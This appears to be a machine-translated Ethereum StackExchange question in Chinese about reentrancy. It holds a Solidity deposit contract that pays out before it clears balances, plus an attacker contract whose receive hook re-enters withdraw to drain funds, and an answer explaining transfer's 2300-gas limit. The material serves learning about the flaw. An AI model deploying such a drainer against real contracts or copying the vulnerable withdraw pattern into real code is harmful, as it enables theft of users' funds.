我试着学习重入攻击,以及如何保存合同以对抗他们。我以前使用address.transfer()来提取金额,但是在执行攻击时函数会恢复。当我用address.call{}()替换它时,合同工作得很好。知道为什么吗?
代码:
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "hardhat/console.sol";
contract Deposits{
mapping(address => uint256) public userBalance;
function deposit() public payable {
require(msg.value >= 1 ether);
userBalance[msg.sender] += msg.value;
}
function withdraw() public {
require(userBalance[msg.sender] > 0, "Amount error");
console.log("1");
// payable(msg.sender).transfer(userBalance[msg.sender]);
(bool sent, ) = msg.sender.call{value: userBalance[msg.sender]}("");
require(sent, "Not sent");
userBalance[msg.sender] = 0;
}
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}
contract Attack {
Deposits public deposit;
constructor(address _contract) {
deposit = Deposits(_contract);
}
receive() external payable {
if(address(deposit).balance > 0) {
deposit.withdraw();
}
}
function attack() public payable {
require(msg.value >= 1 ether);
deposit.deposit{value: msg.value}();
deposit.withdraw();
}
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}发布于 2022-05-18 09:17:17
您的功能失败了,因为传输仅为“发送以太事务”转发2300个气体。
来自文档:
在最坏的情况下,接收函数只能依赖可用的2300个气体(例如,当使用发送或传输时),除了基本日志记录之外,几乎没有空间执行其他操作。下列操作将消耗比2300瓦斯津贴更多的气体:
https://ethereum.stackexchange.com/questions/128440
复制相似问题